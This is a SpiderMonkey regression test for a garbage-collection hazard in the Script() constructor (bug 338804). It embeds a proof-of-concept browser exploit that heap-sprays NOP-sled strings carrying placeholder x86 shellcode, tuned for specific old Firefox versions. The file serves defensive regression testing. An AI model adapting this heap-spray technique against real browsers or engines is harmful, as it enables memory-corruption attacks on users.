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102 lines
3.0 KiB
JavaScript
Executable File
102 lines
3.0 KiB
JavaScript
Executable File
/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
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/* ***** BEGIN LICENSE BLOCK *****
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* Version: MPL 1.1/GPL 2.0/LGPL 2.1
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*
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* The contents of this file are subject to the Mozilla Public License Version
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* 1.1 (the "License"); you may not use this file except in compliance with
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* the License. You may obtain a copy of the License at
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* http://www.mozilla.org/MPL/
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*
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* Software distributed under the License is distributed on an "AS IS" basis,
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* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
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* for the specific language governing rights and limitations under the
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* License.
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*
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* The Original Code is JavaScript Engine testing utilities.
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*
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* The Initial Developer of the Original Code is
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* Mozilla Foundation.
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* Portions created by the Initial Developer are Copyright (C) 2006
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* the Initial Developer. All Rights Reserved.
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*
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* Contributor(s): shutdown
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*
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* Alternatively, the contents of this file may be used under the terms of
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* either the GNU General Public License Version 2 or later (the "GPL"), or
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* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
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* in which case the provisions of the GPL or the LGPL are applicable instead
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* of those above. If you wish to allow use of your version of this file only
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* under the terms of either the GPL or the LGPL, and not to allow others to
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* use your version of this file under the terms of the MPL, indicate your
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* decision by deleting the provisions above and replace them with the notice
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* and other provisions required by the GPL or the LGPL. If you do not delete
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* the provisions above, a recipient may use your version of this file under
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* the terms of any one of the MPL, the GPL or the LGPL.
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*
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* ***** END LICENSE BLOCK ***** */
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//-----------------------------------------------------------------------------
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var bug = 338804;
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var summary = 'GC hazards in constructor functions';
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var actual = 'No Crash';
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var expect = 'No Crash';
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printBugNumber (bug);
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printStatus (summary);
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printStatus ('Uses Intel Assembly');
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// <script>
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// SpiderMonkey Script() GC hazard exploit
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//
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// scale: magic number ;-)
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// BonEcho/2.0a2: 3000
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// Firefox/1.5.0.4: 2000
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//
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var rooter, scale = 2000;
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exploit();
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/*
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if(typeof(setTimeout) != "undefined") {
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setTimeout(exploit, 2000);
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} else {
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exploit();
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}
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*/
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function exploit() {
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if (typeof Script == 'undefined')
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{
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print('Test skipped. Script not defined.');
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}
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else
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{
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Script({ toString: fillHeap });
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Script({ toString: fillHeap });
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}
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}
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function createPayload() {
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var result = "\u9090", i;
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for(i = 0; i < 9; i++) {
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result += result;
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}
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/* mov eax, 0xdeadfeed; mov ebx, eax; mov ecx, eax; mov edx, eax; int3 */
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result += "\uEDB8\uADFE\u89DE\u89C3\u89C1\uCCC2";
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return result;
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}
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function fillHeap() {
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rooter = [];
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var payload = createPayload(), block = "", s2 = scale * 2, i;
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for(i = 0; i < scale; i++) {
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rooter[i] = block = block + payload;
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}
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for(; i < s2; i++) {
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rooter[i] = payload + i;
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}
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return "";
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}
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// </script>
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reportCompare(expect, actual, summary);
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